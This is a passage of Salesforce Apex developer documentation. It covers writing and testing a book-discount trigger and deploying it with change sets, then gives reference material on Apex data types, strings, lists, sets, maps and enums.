A *trigger* is a piece of code that executes before or after records of a particular type are inserted, updated, or deleted from the Lightning Platform database. Every trigger runs with a set of context variables that provide access to the records that caused the trigger to fire. All triggers run in bulk; that is, they process several records at once.

1. From the object management settings for books, go to Triggers, and then click **New**.
2. In the trigger editor, delete the default template code and enter this trigger definition:

```
trigger HelloWorldTrigger on Book__c (before insert) {

    Book__c[] books = Trigger.new;

    MyHelloWorld.applyDiscount(books);
}
```

The first line of code defines the trigger:

```
trigger HelloWorldTrigger on Book__c (before insert) {
```

It gives the trigger a name, specifies the object on which it operates, and defines the events that cause it to fire. For example, this trigger is called `HelloWorldTrigger`, it operates on the `Book__c` object, and runs before new books are inserted into the database.

The next line in the trigger creates a list of book records named `books` and assigns it the contents of a trigger context variable called `Trigger.new`. Trigger context variables such as `Trigger.new` are implicitly defined in all triggers and provide access to the records that caused the trigger to fire. In this case, `Trigger.new` contains all the new books that are about to be inserted.

```
Book__c[] books = Trigger.new;
```

The next line in the code calls the method `applyDiscount` in the `MyHelloWorld` class. It passes in the array of new books.

```
MyHelloWorld.applyDiscount(books);
```

You now have all the code that is needed to update the price of all books that get inserted. However, there's still one piece of the puzzle missing. Unit tests are an important part of writing code and are required. In the next step, you'll see why this is so and will be able to add a test class.

SEE ALSO:

[Salesforce Help: Find Object Management Settings](#)

Add a Test Class

In this step, you add a test class with one test method. You also run the test and verify code coverage. The test method exercises and validates the code in the trigger and class. Also, it enables you to reach 100% code coverage for the trigger and class.

Prerequisites:

- A Salesforce account in a sandbox Professional, Enterprise, Performance, or Unlimited Edition org, or an account in a Developer org.
- [The HelloWorldTrigger Apex trigger](#).

 **Note:** Testing is an important part of the development process. Before you can deploy Apex or package it for AppExchange, the following must be true.

- Unit tests must cover at least 75% of your Apex code, and all of those tests must complete successfully.

Note the following.

- When deploying Apex to a production organization, each unit test in your organization namespace is executed by default.
- Calls to `System.debug` aren't counted as part of Apex code coverage.
- Test methods and test classes aren't counted as part of Apex code coverage.
- While only 75% of your Apex code must be covered by tests, don't focus on the percentage of code that is covered. Instead, make sure that every use case of your application is covered, including positive and negative cases, as well as bulk and single records. This approach ensures that 75% or more of your code is covered by unit tests.

- Every trigger must have some test coverage.
- All classes and triggers must compile successfully.

1. From Setup, enter *Apex Classes* in the Quick Find box, then select **Apex Classes** and click **New**.
2. In the class editor, add this test class definition, and then click **Save**.

```
@IsTest
private class HelloWorldTestClass {
    @IsTest
    static void validateHelloWorld() {
        Book__c b = new Book__c(Name='Behind the Cloud', Price__c=100);
        System.debug('Price before inserting new book: ' + b.Price__c);

        // Insert book
        insert b;

        // Retrieve the new book
        b = [SELECT Price__c FROM Book__c WHERE Id =:b.Id];
        System.debug('Price after trigger fired: ' + b.Price__c);

        // Test that the trigger correctly updated the price
        System.assertEquals(90, b.Price__c);
    }
}
```



```
}
}
```

This class is defined using the `@IsTest` annotation. Classes defined this way should only contain test methods and any methods required to support those test methods. One advantage to creating a separate class for testing is that classes defined with `@IsTest` don't count against your org's limit of 6 MB of Apex code. You can also add the `@IsTest` annotation to individual methods. For more information, see [@IsTest Annotation](#) on page 106 and [Execution Governors and Limits](#).

The method `validateHelloWorld` is defined using the `@IsTest` annotation. This annotation means that if changes are made to the database, they're rolled back when execution completes. You don't have to delete any test data created in the test method.



Note: The `@IsTest` annotation on methods is equivalent to the `testMethod` keyword. As best practice, Salesforce recommends that you use `@IsTest` rather than `testMethod`. The `testMethod` keyword may be versioned out in a future release.

First, the test method creates a book and inserts it into the database temporarily. The `System.debug` statement writes the value of the price in the debug log.

```
Book__c b = new Book__c (Name='Behind the Cloud', Price__c=100);
System.debug('Price before inserting new book: ' + b.Price__c);

// Insert book
insert b;
```

After the book is inserted, the code retrieves the newly inserted book, using the ID that was initially assigned to the book when it was inserted. The `System.debug` statement then logs the new price that the trigger modified.

```
// Retrieve the new book
b = [SELECT Price__c FROM Book__c WHERE Id=:b.Id];
System.debug('Price after trigger fired: ' + b.Price__c);
```

When the `MyHelloWorld` class runs, it updates the `Price__c` field and reduces its value by 10%. The following test verifies that the method `applyDiscount` ran and produced the expected result.

```
// Test that the trigger correctly updated the price
System.assertEquals(90, b.Price__c);
```

3. To run this test and view code coverage information, switch to the Developer Console.
4. In the Developer Console, click **Test > New Run**.
5. To select your test class, click **HelloWorldTestClass**.
6. To add all methods in the `HelloWorldTestClass` class to the test run, click **Add Selected**.
7. Click **Run**.
The test result displays in the Tests tab. Optionally, you can expand the test class in the Tests tab to view which methods were run. In this case, the class contains only one test method.
8. The Overall Code Coverage pane shows the code coverage of this test class. To view the percentage of lines of code in the trigger covered by this test, which is 100%, double-click the code coverage line for **HelloWorldTrigger**. Because the trigger calls a method from the `MyHelloWorld` class, this class also has coverage (100%). To view the class coverage, double-click **MyHelloWorld**.
9. To open the log file, in the Logs tab, double-click the most recent log line in the list of logs. The execution log displays, including logging information about the trigger event, the call to the `applyDiscount` method, and the price before and after the trigger.

By now, you've completed all the steps necessary for writing some Apex code with a test that runs in your development environment. In the real world, after you tested your code and are satisfied with it, you want to deploy the code and any prerequisite components to a production org. The next step shows you how to do this deployment for the code and custom object you created.

SEE ALSO:

[Salesforce Help: Open the Developer Console](#)

Deploy Components to Production

In this step, you deploy the Apex code and the custom object you created previously to your production organization using change sets.

Prerequisites:

- A Salesforce account in a sandbox Performance, Unlimited, or Enterprise Edition organization.
- [The HelloWorldTestClass Apex test class](#).
- A deployment connection between the sandbox and production organizations that allows inbound change sets to be received by the production organization. See "Change Sets" in Salesforce Help.
- "Create and Upload Change Sets" user permission to create, edit, or upload outbound change sets.

This procedure doesn't apply to Developer organizations since change sets are available only in Performance, Unlimited, Enterprise, or Database.com Edition organizations. If you have a Developer Edition account, you can use other deployment methods. For more information, see [Deploying Apex](#).

1. From Setup, enter *Outbound Changesets* in the Quick Find box, then select **Outbound Changesets**.
2. If a splash page appears, click **Continue**.
3. In the Change Sets list, click **New**.
4. Enter a name for your change set, for example, *HelloWorldChangeSet*, and optionally a description. Click **Save**.
5. In the Change Set Components section, click **Add**.
6. Select Apex Class from the component type dropdown list, then select the MyHelloWorld and the HelloWorldTestClass classes from the list and click **Add to Change Set**.
7. To add the dependent components, click **View/Add Dependencies**.
8. To select all components, select the top checkbox. Click **Add To Change Set**.
9. In the Change Set Detail section of the change set page, click **Upload**.
10. Select the target organization, in this case production, and click **Upload**.
11. After the change set upload completes, deploy it in your production organization.
 - a. Log in to your production organization.
 - b. From Setup, enter *Inbound Change Sets* in the Quick Find box, then select **Inbound Change Sets**.
 - c. If a splash page appears, click **Continue**.
 - d. In the change sets awaiting deployment list, click your change set's name.
 - e. Click **Deploy**.

In this tutorial, you learned how to create a custom object, how to add an Apex trigger, class, and test class. Finally, you also learned how to test your code, and how to upload the code and the custom object using Change Sets.

Writing Apex

Apex is like Java for Salesforce. It enables you to add and interact with data in the Lightning Platform persistence layer. It uses classes, data types, variables, and if-else statements. You can make it execute based on a condition, or have a block of code execute repeatedly.

Data Types and Variables

Apex uses data types, variables, and related language constructs such as enums, constants, expressions, operators, and assignment statements.

Control Flow Statements

Apex provides if-else statements, switch statements, and loops to control the flow of code execution. Statements are generally executed line by line, in the order they appear. With control flow statements, you can make Apex code execute based on a certain condition, or have a block of code execute repeatedly.

Working with Data in Apex

You can add and interact with data in the Lightning Platform persistence layer. The `sObject` data type is the main data type that holds data objects. You'll use Data Manipulation Language (DML) to work with data, and use query languages to retrieve data, such as the `SOQL`, among other things.

Document Your Apex Code

ApexDoc is a standardized comment format that makes it easier for humans, documentation generators, and AI agents to understand your codebase. We recommend using ApexDoc comments to facilitate code collaboration and increase long-term code maintainability. Based on the JavaDoc standard, ApexDoc provides specifications, such as specialized tags and guidelines, that are tailored to Apex and the Salesforce ecosystem.

Data Types and Variables

Apex uses data types, variables, and related language constructs such as enums, constants, expressions, operators, and assignment statements.

1. [Data Types](#)

In Apex, all variables and expressions have a data type, such as `sObject`, primitive, or enum.

2. [Primitive Data Types](#)

Apex uses the same primitive data types as SOAP API, except for higher-precision Decimal type in certain cases.

3. [Collections](#)

Collections in Apex can be lists, sets, or maps.

4. [Enums](#)

An enum is an abstract data type with values that each take on exactly one of a finite set of identifiers that you specify. Enums are typically used to define a set of possible values that don't otherwise have a numerical order. Typical examples include the suit of a card, or a particular season of the year.

5. [Variables](#)

Local variables are declared with Java-style syntax.

6. [Constants](#)

Apex constants are variables whose values don't change after being initialized once. Constants can be defined using the `final` keyword.

7. [Expressions and Operators](#)

An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value.

8. [Assignment Statements](#)

An assignment statement is any statement that places a value into a variable.

9. [Rules of Conversion](#)

In general, Apex requires you to explicitly convert one data type to another. For example, a variable of the Integer data type cannot be implicitly converted to a String. You must use the `string.format` method. However, a few data types can be implicitly converted, without using a method.

Data Types

In Apex, all variables and expressions have a data type, such as sObject, primitive, or enum.

- A primitive, such as an Integer, Double, Long, Date, Datetime, String, ID, or Boolean (see [Primitive Data Types](#) on page 24)
- An sObject, either as a generic sObject or as a specific sObject, such as an Account, Contact, or MyCustomObject__c (see [Working with sObjects](#) on page 132 in Chapter 4.)
- A collection, including:
 - A list (or array) of primitives, sObjects, user defined objects, objects created from Apex classes, or collections (see [Lists](#) on page 29)
 - A set of primitives (see [Sets](#) on page 31)
 - A map from a primitive to a primitive, sObject, or collection (see [Maps](#) on page 32)
- A typed list of values, also known as an *enum* (see [Enums](#) on page 34)
- Objects created from user-defined Apex classes (see [Classes, Objects, and Interfaces](#) on page 61)
- Objects created from system supplied Apex classes
- Null (for the `null` constant, which can be assigned to any variable)

Methods can return values of any of the listed types, or return no value and be of type Void.

Type checking is strictly enforced at compile time. For example, the parser generates an error if an object field of type Integer is assigned a value of type String. However, all compile-time exceptions are returned as specific fault codes, with the line number and column of the error. For more information, see [Debugging Apex](#) on page 677.

Primitive Data Types

Apex uses the same primitive data types as SOAP API, except for higher-precision Decimal type in certain cases.

All Apex variables, whether they're class member variables or method variables, are initialized to `null`. Make sure that you initialize your variables to appropriate values before using them. For example, initialize a Boolean variable to `false`.

Apex primitive data types include:

Data Type	Description
Blob	A collection of binary data stored as a single object. You can convert this data type to String or from String using the <code>toString</code> and <code>valueOf</code> methods, respectively. Blobs can be accepted as Web service arguments, stored in a document (the body of a document is a Blob), or sent as attachments. For more information, see Crypto Class . Salesforce supports Blob manipulation only with Apex class methods that are supplied by Salesforce.

Data Type	Description
Boolean	A value that can only be assigned <code>true</code>, <code>false</code>, or <code>null</code>. For example: <pre>Boolean isWinner = true;</pre>
Date	A value that indicates a particular day. Unlike Datetime values, Date values contain no information about time. Always create date values with a system static method. You can add or subtract an Integer value from a Date value, returning a Date value. Addition and subtraction of Integer values are the only arithmetic functions that work with Date values. You can't perform arithmetic functions that include two or more Date values. Instead, use the Date methods. Use the <code>String.valueOf()</code> method to obtain the date without an appended timestamp. Using an implicit string conversion with a Date value results in the date with the timestamp appended.
Datetime	A value that indicates a particular day and time, such as a timestamp. Always create datetime values with a system static method. You can add or subtract an Integer or Double value from a Datetime value, returning a Date value. Addition and subtraction of Integer and Double values are the only arithmetic functions that work with Datetime values. You can't perform arithmetic functions that include two or more Datetime values. Instead, use the Datetime methods.
Decimal	A number that includes a decimal point. Decimal is an arbitrary precision number. Currency fields are automatically assigned the type Decimal. If you don't explicitly set the number of decimal places for a Decimal, the item from which the Decimal is created determines the Decimal's scale. <i>Scale</i> is a count of decimal places. Use the <code>setScale</code> method to set a Decimal's scale. • If the Decimal is created as part of a query, the scale is based on the scale of the field returned from the query. • If the Decimal is created from a String, the scale is the number of characters after the decimal point of the String. • If the Decimal is created from a non-decimal number, the number is first converted to a String. The scale is then set using the number of characters after the decimal point.  Note: Two Decimal objects that are numerically equivalent but differ in scale (such as 1.1 and 1.10) generally don't have the same hashCode. Use caution when such Decimal objects are used in Sets or as Map keys.
Double	A 64-bit number that includes a decimal point. Doubles have a minimum value of -2^{63} and a maximum value of $2^{63}-1$. For example: <pre>Double pi = 3.14159; Double e = 2.7182818284D;</pre> Scientific notation (e) for Doubles isn't supported.
ID	Any valid 18-character Lightning Platform record identifier. For example: <pre>ID id='00300000003T2PGAA0';</pre>

Data Type	Description
	If you set ID to a 15-character value, Apex converts the value to its 18-character representation. All invalid ID values are rejected with a runtime exception.
Integer	A 32-bit number that doesn't include a decimal point. Integers have a minimum value of -2,147,483,648 and a maximum value of 2,147,483,647. For example: <pre>Integer i = 1;</pre>
Long	A 64-bit number that doesn't include a decimal point. Longs have a minimum value of -2^{63} and a maximum value of $2^{63}-1$. Use this data type when you need a range of values wider than the range provided by Integer. For example: <pre>Long l = 2147483648L;</pre>
Object	Any data type that is supported in Apex. Apex supports primitive data types (such as Integer), user-defined custom classes, the sObject generic type, or an sObject specific type (such as Account). All Apex data types inherit from Object. You can cast an object that represents a more specific data type to its underlying data type. For example: <pre>Object obj = 10; // Cast the object to an integer. Integer i = (Integer)obj; System.assertEquals(10, i);</pre> The next example shows how to cast an object to a user-defined type—a custom Apex class named MyApexClass that is predefined in your organization. <pre>Object obj = new MyApexClass(); // Cast the object to the MyApexClass custom type. MyApexClass mc = (MyApexClass)obj; // Access a method on the user-defined class. mc.someClassMethod();</pre>
String	Any set of characters surrounded by single quotes. For example, <pre>String s = 'The quick brown fox jumped over the lazy dog.';</pre> String size: The limit on the number of characters is governed by the heap size limit. Empty Strings and Trailing Whitespace: sObject String field values follow the same rules as in SOAP API: they can never be empty (only null), and they can never include leading and trailing whitespace. These conventions are necessary for database storage. Conversely, Strings in Apex can be null or empty and can include leading and trailing whitespace, which can be used to construct a message. EscapeSequences: All Strings in Apex use the same escape sequences as SOQL strings: \b (backspace), \t (tab), \n (line feed), \f (form feed), \r (carriage return), \s (space), \" (double quote), \' (single quote), and \\ (backslash). Comparison Operators: Unlike Java, Apex Strings support using the comparison operators ==, !=, <, <=, >, and >=. Because Apex uses SOQL comparison semantics, results for Strings are collated

Data Type	Description
	according to the context user's locale and aren't case-sensitive. For more information, see Expression Operators. String Methods: As in Java, Strings can be manipulated with several standard methods. For more information, see String Class. Multiline Strings: To represent a block of text that spans multiple lines, use a multiline string. A multiline string starts with three single quotes (<code>'''</code>) immediately followed by a new line. To terminate a multiline string, use three single quotes (<code>'''</code>). For example: <pre>String multilineStr = ''' { "Name" : "John Doe", "Type" : "New Customer" }''';</pre> For more information, see the Multiline String Usage section.
Time	A value that indicates a particular time. Always create time values with a system static method. See Time Class .

In addition, two non-standard primitive data types can't be used as variable or method types, but do appear in system static methods:

- AnyType. The `valueOf` static method converts an sObject field of type AnyType to a standard primitive. AnyType is used within the Lightning Platform database exclusively for sObject fields in field history tracking tables.
- Currency. The `Currency.newInstance` static method creates a literal of type Currency. This method is for use solely within SOQL and SOSL `WHERE` clauses to filter against sObject currency fields. You can't instantiate Currency in any other type of Apex.

For more information on the AnyType data type, see [Field Types](#) in the *Object Reference for Salesforce*.

Multiline String Usage

Line Breaks: Line breaks are automatically translated into newline sequences in the resulting string.

Whitespace: Any whitespace before the leftmost non-whitespace character of the string is stripped. Trailing whitespace on each line is also stripped. During compilation, whitespace stripping occurs before escape sequences are processed.

In this example, the initial eight whitespace characters, represented as periods, on each line are stripped. This removal occurs because the `<` character is the leftmost non-whitespace character in the string. The trailing whitespace characters found on the first, third, and fifth lines of the string are also stripped.

```
String str = '''
. . . . . <html> . . .
. . . . . <body>
. . . . . <p>Hello, world</p> . . .
. . . . . </body>
. . . . . </html> . . .
. . . . . ''';
```

Escape Sequences: Multiline strings support the same escape sequences as regular Apex strings.

Use the `\s` escape sequence at the end of a line to create intentional trailing whitespace. In this example, three trailing whitespace characters are preserved on the first and fifth lines of the string. The trailing whitespace on the third line of the string is stripped.

```
String str = '''
. . . . . <html> . . . . \s
. . . . . <body>
. . . . . <p>Hello, world</p> . . . .
. . . . . </body>
. . . . . </html> . . . . \s
. . . . . ''';
```

Multiline strings additionally support the `\` (concatenate) sequence at the end of lines. The `\` escape sequence concatenates multiple lines and prevents the insertion of a newline sequence between them. For example, this multiline string compiles as one line.

```
String str = '''
    This is a string that doesn't fit on one line \
    but I don't want it to contain newlines \
....so I am using this escape sequence to \
....prevent them from being inserted''';
```

Unlike regular Apex strings, multiline strings also support unescaped single quotes (`'`). However, to use a single quote directly before the closing single quotes (`'''`), first escape the single quote. (`\'''`). For example, the second single quote in this multiline string requires an escape character, whereas the first one doesn't.

```
String str = '''
    I want a single quote here '
    And also right before the string ends\'''';
```

SOQL Queries: In SOQL and SOSL queries, you can use multiline strings stored in variables. However, unlike regular string literals, you can't use multiline literals in SOQL or SOSL queries, except in bind expressions. For example, this pattern is unsupported.

```
// Unsupported
List<Account> accs = [SELECT Id FROM Account
                      WHERE Name = '''
                          ExampleOne
                          '''
                      WITH USER_MODE
                      ];
```

Otherwise, you can use multiline literals anywhere you can use regular string literals, such as annotation parameters, variable assignments, and method argument values.

Versioned Behavior Changes

In API version 16.0 and later, Apex uses the higher-precision Decimal data type in certain types such as currency.

In API version 15.0 and later, Apex classes and triggers produce a runtime error if you assign a String value that is too long for the field.

SEE ALSO:

[Expression Operators](#)

[Class Methods](#)

[Object Reference for the Salesforce Platform: Primitive Data Types](#)

Collections

Collections in Apex can be lists, sets, or maps.



Note: There is no limit on the number of items a collection can hold. However, there is a general limit on heap size.

Lists

A list is an ordered collection of elements that are distinguished by their indices. List elements can be of any data type—primitive types, collections, sObjects, user-defined types, and built-in Apex types.

Sets

A set is an unordered collection of elements that do not contain any duplicates. Set elements can be of any data type—primitive types, collections, sObjects, user-defined types, and built-in Apex types.

Maps

A map is a collection of key-value pairs where each unique key maps to a single value. Keys and values can be any data type—primitive types, collections, sObjects, user-defined types, and built-in Apex types.

Parameterized Typing

Apex, in general, is a statically-typed programming language, which means users must specify the data type for a variable before that variable can be used.

SEE ALSO:

[Execution Governors and Limits](#)

Lists

A list is an ordered collection of elements that are distinguished by their indices. List elements can be of any data type—primitive types, collections, sObjects, user-defined types, and built-in Apex types.

This table is a visual representation of a list of Strings:

Index 0	Index 1	Index 2	Index 3	Index 4	Index 5
'Red'	'Orange'	'Yellow'	'Green'	'Blue'	'Purple'

The index position of the first element in a list is always 0.

Lists can contain any collection and can be nested within one another and become multidimensional. For example, you can have a list of lists of sets of Integers. A list can contain up to seven levels of nested collections inside it, that is, up to eight levels overall.

To declare a list, use the `List` keyword followed by the primitive data, sObject, nested list, map, or set type within `<>` characters. For example:

```
// Create an empty list of String
List<String> my_list = new List<String>();
// Create a nested list
List<List<Set<Integer>>> my_list_2 = new List<List<Set<Integer>>>();
```

To access elements in a list, use the `List` methods provided by Apex. For example:

```
List<Integer> myList = new List<Integer>(); // Define a new list
myList.add(47);                          // Adds a second element of value 47 to the end
```

```

// of the list
Integer i = myList.get(0);           // Retrieves the element at index 0
myList.set(0, 1);                   // Adds the integer 1 to the list at index 0
myList.clear();                     // Removes all elements from the list

```

For more information, including a complete list of all supported methods, see [List Class](#).

Using Array Notation for One-Dimensional Lists

When using one-dimensional lists of primitives or objects, you can also use more traditional array notation to declare and reference list elements. For example, you can declare a one-dimensional list of primitives or objects by following the data type name with the `[]` characters:

```
String[] colors = new List<String>();
```

These two statements are equivalent to the previous:

```
List<String> colors = new String[1];
```

```
String[] colors = new String[1];
```

To reference an element of a one-dimensional list, you can also follow the name of the list with the element's index position in square brackets. For example:

```
colors[0] = 'Green';
```

Even though the size of the previous `String` array is defined as one element (the number between the brackets in `new String[1]`), lists are elastic and can grow as needed provided that you use the `List.add` method to add new elements. For example, you can add two or more elements to the `colors` list. But if you're using square brackets to add an element to a list, the list behaves like an array and isn't elastic, that is, you won't be allowed to add more elements than the declared array size.

All lists are initialized to `null`. Lists can be assigned values and allocated memory using literal notation. For example:

Example	Description
<pre>List<Integer> ints = new Integer[0];</pre>	Defines an Integer list of size zero with no elements
<pre>List<Integer> ints = new Integer[6];</pre>	Defines an Integer list with memory allocated for six Integers

List Sorting

You can sort list elements and the sort order depends on the data type of the elements.

List Sorting

You can sort list elements and the sort order depends on the data type of the elements.

Using the `List.sort` method, you can sort elements in a list. Sorting is in ascending order for elements of primitive data types, such as strings. The sort order of other more complex data types is described in the chapters covering those data types.

You can sort custom types (your Apex classes) if they implement the `Comparable` interface. Alternatively, a class implementing the `Comparator` interface can be passed as a parameter to the `List.sort` method. For more information on the sort order used for `sObjects`, see [Sorting Lists of sObjects](#).

This example shows how to sort a list of strings and verifies that the colors are in ascending order in the list.

```
List<String> colors = new List<String>{
    'Yellow',
    'Red',
    'Green'};
colors.sort();
System.assertEquals('Green', colors.get(0));
System.assertEquals('Red', colors.get(1));
System.assertEquals('Yellow', colors.get(2));
```

For the Visualforce SelectOption control, sorting is in ascending order based on the value and label fields. See this next section for the sequence of comparison steps used for SelectOption.

Default Sort Order for SelectOption

The `List.sort` method sorts SelectOption elements in ascending order using the value and label fields, and is based on this comparison sequence.

1. The value field is used for sorting first.
2. If two value fields have the same value or are both empty, the label field is used.

The disabled field isn't used for sorting.

For text fields, the sort algorithm uses the Unicode sort order. Also, empty fields precede non-empty fields in the sort order.

In this example, a list contains three SelectOption elements. Two elements, United States and Mexico, have the same value field ('A'). The `List.sort` method sorts these two elements based on the label field, and places Mexico before United States, as shown in the output. The last element in the sorted list is Canada and is sorted on its value field 'C', which comes after 'A'.

```
List<SelectOption> options = new List<SelectOption>();
options.add(new SelectOption('A', 'United States'));
options.add(new SelectOption('C', 'Canada'));
options.add(new SelectOption('A', 'Mexico'));
System.debug('Before sorting: ' + options);
options.sort();
System.debug('After sorting: ' + options);
```

The output of the debug statements shows the contents of the list, both before and after the sort.

```
DEBUG|Before sorting: (System.SelectOption[value="A", label="United States",
disabled="false"],
    System.SelectOption[value="C", label="Canada", disabled="false"],
    System.SelectOption[value="A", label="Mexico", disabled="false"])
DEBUG|After sorting: (System.SelectOption[value="A", label="Mexico", disabled="false"],
    System.SelectOption[value="A", label="United States", disabled="false"],
    System.SelectOption[value="C", label="Canada", disabled="false"])
```

Sets

A set is an unordered collection of elements that do not contain any duplicates. Set elements can be of any data type—primitive types, collections, sObjects, user-defined types, and built-in Apex types.

This table represents a set of strings that uses city names:

'San Francisco'	'New York'	'Paris'	'Tokyo'
-----------------	------------	---------	---------

Sets can contain collections that can be nested within one another. For example, you can have a set of lists of sets of Integers. A set can contain up to seven levels of nested collections inside it, that is, up to eight levels overall.

To declare a set, use the `Set` keyword followed by the primitive data type name within `<>` characters. For example:

```
Set<String> myStringSet = new Set<String>();
```

The following example shows how to create a set with two hardcoded string values.

```
// Defines a new set with two elements
Set<String> set1 = new Set<String>{'New York', 'Paris'};
```

To access elements in a set, use the system methods provided by Apex. For example:

```
// Define a new set
Set<Integer> mySet = new Set<Integer>();
// Add two elements to the set
mySet.add(1);
mySet.add(3);
// Assert that the set contains the integer value we added
System.assert(mySet.contains(1));
// Remove the integer value from the set
mySet.remove(1);
```

The following example shows how to create a set from elements of another set.

```
// Define a new set that contains the
// elements of the set created in the previous example
Set<Integer> mySet2 = new Set<Integer>(mySet);
// Assert that the set size equals 1
// Note: The set from the previous example contains only one value
System.assert(mySet2.size() == 1);
```

For more information, including a complete list of all supported set system methods, see [Set Class](#).

Note the following limitations on sets:

- Unlike Java, Apex developers do not need to reference the algorithm that is used to implement a set in their declarations (for example, `HashSet` or `TreeSet`). Apex uses a hash structure for all sets.
- A set is an unordered collection—you can't access a set element at a specific index. You can only iterate over set elements.
- The iteration order of set elements is deterministic, so you can rely on the order being the same in each subsequent execution of the same code.

Maps

A map is a collection of key-value pairs where each unique key maps to a single value. Keys and values can be any data type—primitive types, collections, `sObjects`, user-defined types, and built-in Apex types.

This table represents a map of countries and currencies:

Country (Key)	'United States'	'Japan'	'France'	'England'	'India'
Currency (Value)	'Dollar'	'Yen'	'Euro'	'Pound'	'Rupee'

Map keys and values can contain any collection, and can contain nested collections. For example, you can have a map of Integers to maps, which, in turn, map Strings to lists. Map keys can contain up to seven levels of nested collections, that is, up to eight levels overall.

To declare a map, use the `Map` keyword followed by the data types of the key and the value within `<>` characters. For example:

```
Map<String, String> country_currencies = new Map<String, String>();
Map<ID, Set<String>> m = new Map<ID, Set<String>>();
```

You can use the generic or specific `sObject` data types with maps. You can also create a generic instance of a map.

As with lists, you can populate map key-value pairs when the map is declared by using curly brace `{ }` syntax. Within the curly braces, specify the key first, then specify the value for that key using `=>`. For example:

```
Map<String, String> MyStrings = new Map<String, String>{'a' => 'b', 'c' =>
'd'.toUpperCase()};
```

In the first example, the value for the key `a` is `b`, and the value for the key `c` is `D`.

To access elements in a map, use the `Map` methods provided by Apex. This example creates a map of integer keys and string values. It adds two entries, checks for the existence of the first key, retrieves the value for the second entry, and finally gets the set of all keys.

```
Map<Integer, String> m = new Map<Integer, String>(); // Define a new map
m.put(1, 'First entry');                          // Insert a new key-value pair in the map
m.put(2, 'Second entry');                          // Insert a new key-value pair in the map
System.assert(m.containsKey(1)); // Assert that the map contains a key
String value = m.get(2);           // Retrieve a value, given a particular key
System.assertEquals('Second entry', value);
Set<Integer> s = m.keySet();       // Return a set that contains all of the keys in the
map
```

For more information, including a complete list of all supported `Map` methods, see [Map Class](#).

Map Considerations

- Unlike Java, Apex developers don't need to reference the algorithm that is used to implement a map in their declarations (for example, `HashMap` or `TreeMap`). Apex uses a hash structure for all maps.
- The iteration order of map elements is deterministic. You can rely on the order being the same in each subsequent execution of the same code. However, we recommend to always access map elements by key.
- A map key can hold the `null` value.
- Adding a map entry with a key that matches an existing key in the map overwrites the existing entry with that key with the new entry.
- Map keys of type `String` are case-sensitive. Two keys that differ only by the case are considered unique and have corresponding distinct Map entries. Subsequently, the Map methods, including `put`, `get`, `containsKey`, and `remove` treat these keys as distinct.
- Uniqueness of map keys of user-defined types is determined by the [equals and hashCode methods](#), which you provide in your classes. Uniqueness of keys of all other non-primitive types, such as `sObject` keys, is determined by comparing the objects' field values. Use caution when you use an `sObject` as a map key because when the `sObject` is changed, it no longer maps to the same value. For information and examples, see https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/apex_map_object_considerations.htm
- A Map object is serializable into JSON only if it uses one of the following data types as a key.
 - [Boolean](#)
 - [Date](#)
 - [DateTime](#)
 - [Decimal](#)
 - [Double](#)

- Enum
- Id
- Integer
- Long
- String
- Time

Parameterized Typing

Apex, in general, is a statically-typed programming language, which means users must specify the data type for a variable before that variable can be used.

This is legal in Apex:

```
Integer x = 1;
```

This is not legal, if `x` has not been defined earlier:

```
x = 1;
```

Lists, maps and sets are *parameterized* in Apex: they take any data type Apex supports for them as an argument. That data type must be replaced with an actual data type upon construction of the list, map or set. For example:

```
List<String> myList = new List<String>();
```

Subtyping with Parameterized Lists

In Apex, if type `T` is a subtype of `U`, then `List<T>` would be a subtype of `List<U>`. For example, the following is legal:

```
List<String> slst = new List<String> {'alpha', 'beta'};
List<Object> olst = slst;
```

Enums

An enum is an abstract data type with values that each take on exactly one of a finite set of identifiers that you specify. Enums are typically used to define a set of possible values that don't otherwise have a numerical order. Typical examples include the suit of a card, or a particular season of the year.

Although each value corresponds to a distinct integer value, the enum hides this implementation. Hiding the implementation prevents any possible misuse of the values to perform arithmetic and so on. After you create an enum, variables, method arguments, and return types can be declared of that type.

 **Note:** Unlike Java, the enum type itself has no constructor syntax.

To define an enum, use the `enum` keyword in your declaration and use curly braces to demarcate the list of possible values. For example, the following code creates an enum called `Season`:

```
public enum Season {WINTER, SPRING, SUMMER, FALL}
```

By creating the enum `Season`, you have also created a new data type called `Season`. You can use this new data type as you would any other data type. For example:

```
Season southernHemisphereSeason = Season.WINTER;

public Season getSouthernHemisphereSeason(Season northernHemisphereSeason) {

    if (northernHemisphereSeason == Season.SUMMER) return southernHemisphereSeason;
    //...
}
```

You can also define a class as an enum. When you create an enum class, do not use the `class` keyword in the definition.

```
public enum MyEnumClass { X, Y }
```

You can use an enum in any place you can use another data type name. If you define a variable whose type is an enum, any object you assign to it must be an instance of that enum class.

Any `webservice` method can use enum types as part of their signature. In this case, the associated WSDL file includes definitions for the enum and its values, which the API client can use.

Apex provides the following system-defined enums:

- `System.StatusCode`

This enum corresponds to the API error code that is exposed in the WSDL document for all API operations. For example:

```
StatusCode.CANNOT_INSERT_UPDATE_ACTIVATE_ENTITY
StatusCode.INSUFFICIENT_ACCESS_ON_CROSS_REFERENCE_ENTITY
```

The full list of status codes is available in the WSDL file for your organization. For more information about accessing the WSDL file for your organization, see *Downloading Salesforce WSDLs and Client Authentication Certificates* in Salesforce Help.

- `System.XmlTag`:

This enum returns a list of XML tags used for parsing the result XML from a `webservice` method. For more information, see [XmlStreamReader Class](#).

- `System.ApplicationReadWriteMode`: This enum indicates if an organization is in 5 Minute Upgrade read-only mode during Salesforce upgrades and downtimes. For more information, see [System.getApplicationReadWriteMode\(\)](#).
- `System.LoggingLevel`:

This enum is used with the `system.debug` method, to specify the log level for all `debug` calls. For more information, see [System Class](#).

- `System.RoundingMode`:

This enum is used by methods that perform mathematical operations to specify the rounding behavior for the operation. Typical examples are the Decimal `divide` method and the Double `round` method. For more information, see [Rounding Mode](#).

- `System.SoapType`:

This enum is returned by the field describe result `getSoapType` method. For more information, see [SOAPType Enum](#).

- `System.DisplayType`:

This enum is returned by the field describe result `getType` method. For more information, see [DisplayType Enum](#).

- `System.JSONToken`:

This enum is used for parsing JSON content. For more information, see [JsonToken Enum](#).

- `ApexPages.Severity`:
This enum specifies the severity of a Visualforce message. For more information, see [ApexPages.Severity Enum](#).
- `Dom.XmlNodeType`:
This enum specifies the node type in a DOM document.

 **Note:** System-defined enums cannot be used in Web service methods.

All enum values, including system enums, have common methods associated with them. For more information, see [Enum Methods](#). You cannot add user-defined methods to enum values.

Variables

Local variables are declared with Java-style syntax.

For example:

```
Integer i = 0;
String str;
List<String> strList;
Set<String> s;
